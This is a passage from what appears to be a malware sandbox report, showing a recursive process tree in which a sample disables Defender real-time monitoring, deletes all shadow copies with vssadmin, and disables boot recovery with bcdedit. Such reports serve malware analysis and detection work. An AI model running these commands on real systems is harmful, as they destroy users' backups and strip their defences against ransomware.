        vssadmin delete shadows /all /quiet
        23⤵
        Interacts with shadow copies
        
        PID:336
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        22⤵
        
        PID:2000
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        23⤵
        Modifies boot configuration data using bcdedit
        
        PID:5516
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        22⤵
        
        PID:5532
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        23⤵
        
        PID:1752
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        24⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4584
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        23⤵
        
        PID:988
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        24⤵
        
        PID:1540
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        23⤵
        
        PID:3924
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        24⤵
        Modifies boot configuration data using bcdedit
        
        PID:3892
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        23⤵
        
        PID:2972
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        24⤵
        
        PID:1888
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        25⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6108
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        24⤵
        
        PID:6120
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        25⤵
        Interacts with shadow copies
        
        PID:3536
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        24⤵
        
        PID:236
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        25⤵
        Modifies boot configuration data using bcdedit
        
        PID:804
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        24⤵
        
        PID:1284
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        25⤵
        
        PID:1196
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        26⤵
        
        PID:3176
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        25⤵
        
        PID:2576
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        26⤵
        Interacts with shadow copies
        
        PID:952
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        25⤵
        
        PID:5424
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        26⤵
        Modifies boot configuration data using bcdedit
        
        PID:4952
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        25⤵
        
        PID:5432
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        26⤵
        
        PID:1720
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        27⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6084
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        26⤵
        
        PID:5860
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        27⤵
        Interacts with shadow copies
        
        PID:5912
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        26⤵
        
        PID:1704
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        27⤵
        Modifies boot configuration data using bcdedit
        
        PID:4648
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        26⤵
        
        PID:4460
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        27⤵
        
        PID:3524
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        28⤵
        
        PID:5504
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        27⤵
        
        PID:316
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        28⤵
        Interacts with shadow copies
        
        PID:388
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        27⤵
        
        PID:1776
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        28⤵
        Modifies boot configuration data using bcdedit
        
        PID:5972
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        27⤵
        
        PID:2980
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        28⤵
        
        PID:3040
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        29⤵
        Disables one or more Microsoft Defender components
        
        PID:1852
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        28⤵
        
        PID:800
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        29⤵
        
        PID:4864
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        28⤵
        Executes a command shell one-liner
        
        PID:6108
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        29⤵
        Modifies boot configuration data using bcdedit
        
        PID:4840
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        28⤵
        
        PID:580
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        29⤵
        
        PID:804
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        30⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:5608
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        29⤵
        
        PID:3080
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        30⤵
        Interacts with shadow copies
        
        PID:3732
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        29⤵
        Executes a command shell one-liner
        
        PID:5052
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        30⤵
        Modifies boot configuration data using bcdedit
        
        PID:2156
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        29⤵
        
        PID:1268
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        30⤵
        Executes a command shell one-liner
        
        PID:2540
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        31⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:5700
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        30⤵
        
        PID:4776
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        31⤵
        
        PID:304
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        30⤵
        
        PID:3100
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        31⤵
        Modifies boot configuration data using bcdedit
        
        PID:1456
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        30⤵
        
        PID:1580
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        31⤵
        
        PID:4968
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        32⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:2732
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        31⤵
        
        PID:2760
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        32⤵
        Interacts with shadow copies
        
        PID:2516
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        31⤵
        
        PID:4656
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        32⤵
        Modifies boot configuration data using bcdedit
        
        PID:2204
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        31⤵
        
        PID:4132
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        32⤵
        Executes a command shell one-liner
        
        PID:3476
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        33⤵
        Disables one or more Microsoft Defender components
        
        PID:1852
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        32⤵
        
        PID:2708
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        33⤵
        Interacts with shadow copies
        
        PID:2256
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        32⤵
        
        PID:3220
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        33⤵
        Modifies boot configuration data using bcdedit
        
        PID:1392
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        32⤵
        
        PID:3224
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        33⤵
        
        PID:2348
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        34⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4236
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        33⤵
        Executes a command shell one-liner
        
        PID:5588
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        34⤵
        Interacts with shadow copies
        
        PID:4156
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        33⤵
        Executes a command shell one-liner
        
        PID:1012
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        34⤵
        Modifies boot configuration data using bcdedit
        
        PID:5516
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        33⤵
        
        PID:5148
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        34⤵
        
        PID:4756
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        35⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1456
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        34⤵
        
        PID:5480
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        35⤵
        
        PID:4208
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        34⤵
        
        PID:5828
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        35⤵
        Modifies boot configuration data using bcdedit
        
        PID:404
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        34⤵
        
        PID:4320
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        35⤵
        
        PID:2524
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        36⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:3228
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        35⤵
        
        PID:5232
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        36⤵
        Interacts with shadow copies
        
        PID:1500
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        35⤵
        
        PID:5028
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        36⤵
        Modifies boot configuration data using bcdedit
        
        PID:5136
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        35⤵
        
        PID:2688
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        36⤵
        Executes a command shell one-liner
        
        PID:2864
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        37⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4496
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        36⤵
        Executes a command shell one-liner
        
        PID:940
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        37⤵
        
        PID:4144
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        36⤵
        Executes a command shell one-liner
        
        PID:5796
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        37⤵
        Modifies boot configuration data using bcdedit
        
        PID:3760
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        36⤵
        
        PID:328
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        37⤵
        
        PID:1060
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        38⤵
        Disables one or more Microsoft Defender components
        
        PID:2696
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        37⤵
        
        PID:5920
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        38⤵
        Interacts with shadow copies
        
        PID:1988
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        37⤵
        
        PID:832
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        38⤵
        Modifies boot configuration data using bcdedit
        
        PID:4492
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        37⤵
        
        PID:4880
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        38⤵
        Executes a command shell one-liner
        
        PID:4840
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        39⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:4220
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        38⤵
        
        PID:5656
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        39⤵
        
        PID:2008
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        38⤵
        
        PID:3732
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        39⤵
        Modifies boot configuration data using bcdedit
        
        PID:2420
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        38⤵
        
        PID:4308
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        39⤵
        Executes a command shell one-liner
        
        PID:6016
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        40⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5356
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        39⤵
        
        PID:3352
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        40⤵
        
        PID:5504
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        39⤵
        
        PID:1228
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        40⤵
        Modifies boot configuration data using bcdedit
        
        PID:1572
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        39⤵
        
        PID:5436
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        40⤵
        Executes a command shell one-liner
        
        PID:5056
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        41⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:2512
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        40⤵
        
        PID:4224
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        41⤵
        Interacts with shadow copies
        
        PID:400
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        40⤵
        
        PID:952
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        41⤵
        Modifies boot configuration data using bcdedit
        
        PID:4528
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        40⤵
        
        PID:5264
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        41⤵
        
        PID:2816
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        42⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:3892
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        41⤵
        
        PID:1292
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        42⤵
        
        PID:5356
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        41⤵
        Executes a command shell one-liner
        
        PID:6128
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        42⤵
        Modifies boot configuration data using bcdedit
        
        PID:2912
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        41⤵
        
        PID:2432
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        42⤵
        
        PID:2856
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        43⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:1988
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        42⤵
        
        PID:4216
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        43⤵
        Interacts with shadow copies
        
        PID:200
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        42⤵
        
        PID:4768
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        43⤵
        Modifies boot configuration data using bcdedit
        
        PID:4528
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe -m pip install cryptography --quiet
        42⤵
        
        PID:4524
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""
        43⤵
        
        PID:4144
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        44⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:2732
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        43⤵
        
        PID:3504
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        44⤵
        Interacts with shadow copies
        
        PID:5312
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
        43⤵
        
        PID:2272
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        44⤵
        Modifies boot configuration data using bcdedit
        
        PID:6132
        
        C:\Users\Admin\AppData\Local\Temp\2026-07-23_460efc301c54085952e9e9811c80b653_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
        
